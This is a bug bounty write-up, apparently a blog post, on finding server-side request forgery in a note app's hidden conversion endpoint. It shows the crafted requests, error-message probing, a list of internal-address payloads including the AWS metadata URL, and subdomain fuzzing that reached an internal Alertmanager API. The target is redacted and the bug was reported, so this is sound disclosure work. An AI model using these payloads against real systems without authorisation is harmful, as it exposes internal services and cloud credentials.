SSRF to read data from internal domains

Starting with what I’m comfortable at
I have been testing this particular app for close to three months before I found a valid bug in it
The app was mainly used for creating notes and collaborating, so when I started testing, I mainly focused on broken access control and privilege escalation bugs. After spending a lot of time on the application, I realized that the roles were simple to understand, but it was secure (IMO). For like six weeks, I focused on trying to get a broken access control bug on the site, but I just couldn’t get one.
I still continued testing the application until I got two BAC bugs by going deep into the client-side JS files, but I was unable to prove the impact because I could not map the endpoint to the functionality on the actual website, and the data it was returning was not really sensitive.
Trying to mine for gold
After testing my bread and butter (BAC & PRIV ESC) on the site and finding nothing, I decided to change how I approach the target, as I just don’t want to walk away without finding something.
I went back and started from the beginning again. This time around, I was testing the app with just a single account (no BAC testing). My new strategy was to perform every function I could on the target and see the parameters that are being sent to the server, and play with the parameter values.
Document conversion api endpoint
While performing each function and also reading the JS files that are being loaded when the function begins, I came across an endpoint within a JS file that is used to convert the note to a Microsoft document, Microsoft Excel file, or PowerPoint.
The feature to convert a note to a doc or Excel file was not in the UI of the website, but because I was looking through the JS files, I found the endpoints for converting notes and I was able to create a request for converting a note based on the JS code
The JS code looks like this
ConvertToExcel (e) {
return this.apiPost({
path: 'convert/excel'
json: {
noteUrl: e
}
})
}
ConvertToDocs (e) {
return this.apiPost({
path: 'convert/docs'
json: {
noteUrl: e
}
})
}
ConvertToPowerPoint (e) {
return this.apiPost({
path: 'convert/powerpoint'
json: {
noteUrl: e
}
})
}
Creating a request and working with error messages
As you can see, the JS code is self-explanatory if you know how to read JS code. So I created a request based on the code in the repeater
The request looks like this
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "https://redacted.com/note/note_id"
}
When I sent the request to the server, it was not successful. I got a 400 response status code with an error message that says read ECONNRESET and the response body looks like the one below
HTTP/2 400 Bad Request
Content-Type: application/json
{
"error": "400",
"message": "read ECONNRESET"
}
I always like paying attention to error messages when I’m testing, so I did what every hacker will do, I asked ChatGPT about the error message

From what ChatGPT said, I figured out that the backend server tried to make a request to the URL I provided, but maybe a WAF at the backend stopped it from making the request. So I tried a URL that is not valid, something like https://xxx
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "https://xxx"
}
I sent the request to the server, and I got a slightly different error message getaddrinfo ENOTFOUND xxx . The response body looks like the one below
HTTP/2 400 Bad Request
Content-Type: application/json
{
"error": "400",
"message": "getaddrinfo ENOTFOUND xxx"
}
Now again “Error Message”!. Like I said earlier, pay attention to error messages; it will give you information about what is going on in the backend.
I copied the error message and asked ChatGPT what it means

From the answer, I understood that the server tried to resolve https://xxx But it could not, as it is not a valid domain
Now I know the server is actually making a request on my behalf (which is a good place to test for SSRF). I passed in my burp collaborator URL to the noteUrl parameter so I can get a callback to my collaborator URL, but I was greeted with the same error message from the first valid request
The request looks like this
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "https://collaborator_url"
}
The response came back with a 400 response status code with an error message that says read ECONNRESET and the response body looks like the one below
HTTP/2 400 Bad Request
Content-Type: application/json
{
"error": "400",
"message": "read ECONNRESET"
}
Seeing the same error message from the valid URL I passed earlier and my Burp collaborator URL, tells me that “The server is trying to resolve every domain I pass to it, and if the domain is valid, I’ll get an "message": "read ECONNRESET" error message. But if the domain is not valid, I’ll get an "message": "getaddrinfo ENOTFOUND xxx" error message.”
Understanding the differences between the error messages, I figured out that there is a WAF at the backend preventing requests to external website,s so I tried passing in internal IPs to the noteUrl parameters
I passed http://127.0.0.1:80 to the parameter
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "http://127.0.0.1:80"
}
And again, I got a slightly different error message connect ECONNREFUSED
The response body looks like this
HTTP/2 400 Bad Request
Content-Type: application/json
{
"error": "400",
"message": "connect ECONNREFUSED ::1:80"
}
Again, I asked ChatGPT about the error message

Now I’m very sure that the web server is vulnerable to SSRF, but now I just need to find a way to exploit it.
From working on the application for a long time, I know they host their apps on AWS, so I tried getting the AWS metadata instance at http://169.254.169.254/latest/meta-data/, but I was blocked by the WAF. I also tried other internal IPs, but nothing was successful
{"noteUrl":"http://127.0.0.1:80"}
{"noteUrl":"http://localhost:8080"}
{"noteUrl":"http://169.254.169.254/latest/meta-data/"} // AWS metadata
{"noteUrl":"http://10.0.0.1"}
{"noteUrl":"http://172.16.0.1"}
As I wasn’t getting anywhere with the exploit, I left the endpoint and continued testing another part of the application
Light at the end of the tunnel
I went and watched videos on exploiting SSRF, and I read a lot of write-ups about exploiting SSRF
One of the techniques I came across was that if there is a WAF blocking out-of-band requests to my collaborator URL, I should try all the company subdomains, most especially the ones that are not resolving, and that’s what I did.
I gathered all the subdomains I could find for the target and used Intruder in Burp Suite to fuzz the noteUrl parameter with all the subdomains I have for the target
Below is what the request looks like in Intruder (the wordlist was the list of all the subdomains I have for the target)
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "https://{FUZZ}"
}
A lot of the subdomains return the same error message I’ve been seeing earlier, but one domain returned a 404 response code instead of a 400 Bad Request
The domain was running a monitoring tool called Alert Manager
POST /api/convert/excel HTTP/1.1
Host: redacted
Cookie: redacted
Content-Type: application/json;charset=UTF-8
{
"noteUrl": "https://alertmanager.readacted.com"
}
404 response code from the alert manager subdomain
HTTP/2 404 Not Found
Content-Type: application/json
{
"error": "404",
}
I tried loading the subdomain in my browser, but it was not resolving. So I figured out that the subdomain is not meant to be public
From the name of the subdomain alertmanager.redacted.com I realized that it is a monitoring software used internally, and I googled the name of the software
I found out that the software is an open source software on GitHub, so I looked through the files on GitHub and created a wordlist from the files

The endpoints that I was able to access after creating wordlists from the software file on GitHub is
https://alertmanager.redacted.com/api/v2/alerts
which returns the alert of events that are going on in the backend of the target.
I was also able to view data from another subdomain running monitoring tools like Victoria Metrics software on the target.
So I stopped here and quickly made a report to the target
The report was accepted and rewarded in like 7 days
I hope you enjoy reading
Connect with me on X at @Eib____


